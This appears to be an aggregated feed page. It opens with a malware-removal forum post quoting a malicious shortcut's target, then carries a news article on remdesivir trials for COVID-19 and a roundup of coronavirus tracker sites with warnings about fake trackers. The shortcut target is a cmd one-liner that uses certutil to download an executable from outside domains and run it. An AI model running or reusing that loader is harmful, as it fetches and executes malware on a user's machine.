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.Lnk file with cmd usage - Virus, Trojan, Spyware, and Malware Removal Help - BleepingComputer.Lnk file with cmd usage - Virus, Trojan, Spyware, and Malware Removal Help - BleepingComputerPosted: 06 Jul 2020 11:33 AM PDT Hi all,Looking for feedback on the likelihood my double clicking of a bad .lnk file caused damage.. When I did double click it, I remember getting a standard windows dialog box. I believe it said the path did not exist or shortcut unavailable.. I'm not finding anything in my startup folder for C:\programdata or my username appdata startup folder...  I ran scans with malwarebytes, Hitman with no results.The .lnk file target was:%ComSpec% /v:on/c(SET V4=/?8ih5Oe0vii2dJ179aaaacabbckbdbhhe=gulches_%PROCESSOR_ARCHITECTURE% !H!&SET H="%USERNAME%.exe"&SET V4adKK47=certutil -urlcache -f https://&IF NOT EXIST !H! (!V4adKK47!izub.fun!V4!||!V4adKK47!de.charineziv.com!V4!&!H!))>nul 2>&1The .lnk file 'start-in' was:"%APPDATA%\Mic…

A Promising Antiviral Is Being Tested for the Coronavirus--but Results Are Not Yet Out - Scientific American

A Promising Antiviral Is Being Tested for the Coronavirus--but Results Are Not Yet Out - Scientific American


A Promising Antiviral Is Being Tested for the Coronavirus--but Results Are Not Yet Out - Scientific American

Posted: 28 Feb 2020 03:35 PM PST

As the coronavirus outbreak continues to spread worldwide and more people become critically ill, scientists are racing to find a treatment that will help turn the tide. Dozens of medicines are in clinical trials in China—and now in the U.S.—to treat the disease, officially named COVID-19. Some are antiviral drugs that are already used to narrowly target other viruses. Experts say these medications are unlikely to do much against the novel coronavirus. Other drugs being tested—such as the broad-spectrum antiviral remdesivir, developed by Gilead Sciences—could prove quite effective, some evidence suggests. But only the rigorous, controlled clinical studies now underway will be able to confirm this possibility.

At the time of this writing, the COVID-19 outbreak has sickened more than 82,000 people globally and killed more than 2,800 of them. No vaccine or direct treatment currently exists. The more than 80 clinical trials being conducted in China involve drugs that were developed to treat illnesses such as HIV/AIDS, malaria and Ebola. These candidates include HIV antivirals called protease inhibitors, which work by blocking enzymes the virus needs to replicate, and a malaria drug called chloroquine, which is not an antiviral but has shown some efficacy against COVID-19 in a lab dish. Yet experts say drugs that specifically target other pathogens are unlikely to work well enough.

"The mistake generally made these days is to think that [just] any antiviral would be effective against [the coronavirus]. This is, of course, not true," says Erik De Clercq, an emeritus professor of medicine at KU Leuven in Belgium, who helped discover the HIV antiviral tenofovir. De Clercq believes scientists should focus on developing compounds tailored to the new virus. "Instead of being in a hurry [to test] all known compounds—what they now call 'repurposing a compound,'—we really need new compounds that are specific for [the coronavirus] and would be the subject of clinical trials," he says. But until such compounds can be developed and tested, De Clercq says he is hopeful that remdesivir—an experimental drug that was originally developed to treat Ebola and has also proved effective against the SARS and MERS viruses in vitro—could be effective. (Gilead, which manufactures remdesivir, developed tenofovir and other antiviral drugs based on compounds De Clercq co-discovered.)

Remdesivir works by inhibiting an enzyme known as an RNA-dependent RNA polymerase, which many RNA viruses—including coronaviruses—use to replicate themselves. In contrast, retroviruses, such as HIV, are RNA viruses that use an enzyme called reverse transcriptase, which creates DNA from an RNA blueprint. But our own cells also rely on enzymes that transcribe DNA, so it is much harder to inhibit such enzymes without harming our own cells. Because coronaviruses use RNA-dependent enzymes, an antiviral such as remdesivir has a good chance of working against them, De Clercq notes.

Timothy Patrick Sheahan, an assistant professor of epidemiology at the University of North Carolina Gillings School of Global Public Health, is among those in the U.S. working on antiviral drugs for COVID-19. Like De Clercq, he is skeptical that many of the antivirals already on the market would work. "I'm doubtful that existing approved medications for other infectious diseases will have some magical property against this new coronavirus," he says. "Most antiviral drugs are developed to be exquisitely sensitive and potent against one specific thing." And part of that development process involves getting rid of "off-target" effects—even though they might inhibit other viruses. Sheahan also notes that the coronavirus research community "has suffered from a lack of randomized controlled trials." Existing antiviral drugs were also tried against SARS (severe acute respiratory syndrome), which was first identified in 2003, and MERS (Middle East respiratory syndrome), first reported in 2012. But Sheahan says those studies were not well-controlled. In contrast, the current outbreak will give scientists a chance to test these drugs in a much more rigorous way by using randomized controlled trials, he says.

Sheahan and his colleagues have published several papers showing that remdesivir is effective against SARS, MERS and related bat coronaviruses, as well as some of the common cold coronaviruses. They are currently testing it on the new virus. Sheahan's lab is also working with a group at Emory University to develop another broad-spectrum antiviral that works similarly to remdesivir: it mimics a nucleic acid used by the RNA polymerase enzyme and tricks the virus into incorporating the drug into its genome instead. His team is planning to submit some of its work for publication soon.

On a compassionate-use basis, remdesivir was given to the first known U.S. coronavirus patient: a man in Washington State who had recently returned from the outbreak's epicenter in Wuhan, China. And he has made a good recovery. But that patient is, of course, only a single person, and a larger sample size will be needed to determine the drug's efficacy. Two trials of remdesivir are currently underway in China: one for severe cases of COVID-19 and the other for mild or moderate cases. Results for both trials are expected in April. Another clinical trial is planned in the U.S., and it will be run by the University of Nebraska Medical Center and the National Institute of Allergy and Infectious Diseases. That trial will be conducted at up to 50 sites around the world and will test remdesivir against a placebo.

Lisa Gralinski, an assistant professor of epidemiology and colleague of Sheahan's at the Gillings School, is also optimistic that remdesivir is a promising candidate for treating the new coronavirus. "I think it will probably be really effective" if you can get it to the patient within the first or second week, she says. But "you're not going to be able to come in and give this drug to someone who's approaching end-stage lung disease and improve their outcome." At that point, the lung damage is no longer being caused by viral replication but is happening because of the body's own immune response—so an antiviral would likely not be effective. Yet if enough of the drug is available, Gralinski says, she would give it at the time of diagnosis.

As for developing new antivirals, she thinks there probably will not be a big enough market to make them commercially feasible. "This is the largest human coronavirus severe-disease outbreak we've ever seen," Gralinski says. But the numbers are low enough that it is still "not a viable thing to treat for a pharmaceutical company." As with previous outbreaks, such as Zika, the virus could burn itself out before the new drug is developed—and there would no longer be a need for it. But, she adds, "if we already have something that's mostly through development, like has luckily been the case with remdesivir, you can get it to people very rapidly." Even if the drug proves to be effective, however, producing enough of it and distributing it to everyone in need is not guaranteed.

Read more about the coronavirus outbreak here.

The Best Coronavirus Maps & Trackers - Techlicious

Posted: 13 Mar 2020 12:00 AM PDT

With Coronavirus COVID-19 increasingly impacting our daily lives, it's hard not to become a little obsessed with the spread of the virus. If you want a clear picture of what's going on, there are several coronavirus trackers and maps that do a great job of visualizing the data so it's easy to see what's happening locally and around the globe. These resources are constantly updated with the latest data from the frontlines to ensure you have the latest news. Here are the most reliable, authoritative and full-featured trackers out there. 

Johns Hopkins University COVID-19 Resource Center

Johns Hopkins University COVID-19 Resource Center

Johns Hopkins, one of the preeminent research institutions in the United States, has produced a visually-impactful interactive map of the spread of COVID-19 that makes it easy to view confirmed cases around the world. You can see every country, ranked by total confirmed cases, along with details on confirmed cases, deaths, recovered cases and active cases on a country, state or province level. 

CDC States Reporting Cases of COVID-19 to CDC

CDC States Reporting Cases of COVID-19 to CDC

Every day at noon (Monday - Friday), the CDC updates its map of States Reporting Cases of COVID-19 to CDC (you'll need to scroll down to see the map). While it's not the most information dense map, each state is clickable and sends you to the state agency that's in charge of tracking coronavirus, which is incredibly helpful. The CDC coronavirus page also provides coronavirus news and helpful resources on staying safe, testing, and other important topics. 

Worldometer Coronavirus

Worldometer Coronavirus

The Worldometer Coronavirus site has an incredibly rich trove of data about COVID-19. Not only can you see the latest stats on cases and deaths, you can also see new cases and deaths and sort the table to easily surface trends. And, there are tons of graphs, both linear and logarithmic, showing the growth of new cases, deaths and other critical trends. You can also see how age, sex and existing conditions are impacting mortality rates and read up on symptoms and the incubation period. Everything is meticulously sourced, so you can trace back the data to its origin. Data is updated every day at at GMT+0. 

COVID -19 Map by /r/CovidMapping

COVID -19 Map by /r/CovidMapping

If you're looking for local coronavirus news, the COVID-19 Map by Covid Reddit Map Community, does an admirable job of surfacing the latest local and national news reports. Using color-coded icons, the map show where to find reports of suspected cases, confirmed cases, deaths, quarantines and travel restrictions. Clicking on an icon brings up a box with a brief overview and links to the original source material. Updates depend on reports from the Covid Reddit Map Community, which numbers over 3,400 members. 

Kaiser Family Foundation COVID-19 Coronavirus Tracker

Kaiser Family Foundation COVID-19 Coronavirus Tracker

If you're looking for data coming straight from the World Health Organization (WHO), the Kaiser Family Foundation COVID-19 Coronavirus Tracker is the map to check. The map shows data pulled from official WHO situation reports and is updated whenever new situation reports are released. At a glance, you can see total cases, total deaths and the number of countries with reported cases. In addition, you can access trend graphs, showing cases and deaths. 

Beware of fake coronavirus trackers!

Hackers have registered thousands of new domains that look like legitimate Coronavirus maps — and some are practically identical to official maps from Johns Hopkins University and other sources.  But instead of providing you the latest info, these malicious sites install malware on your computer. From there, hackers can steal usernames, passwords, credit card numbers and more — meaning you need to be careful when looking for the latest news.

Following some simple safety precautions can protect you from fake coronavirus sites:

  • Only get information from trustworthy sources. Look at the URL for a site before you click it to make sure it's from a source that you recognize. Domains that end in .edu or .gov are guaranteed to be reliable, but they aren't the only sources of information — there are plenty of publications and non-profit organizations that also provide good info. The most important part is to know the source: if you don't recognize it, don't click the link.
  • Don't install software from unknown websites. If you find yourself on a malicious website, it typically steals information by asking you to install software. Never install software unless you know and trust the source.
  • Make sure your browser, operating system and antivirus software are all up to date. The latest versions of software will have the latest security updates to keep your computer safe from exploits. This isn't a guarantee that you'll avoid hacks, because hackers come up with new tricks all the time — so be sure to follow the advice above even if you are up to date.

[Image source: Techlicious screenshots]

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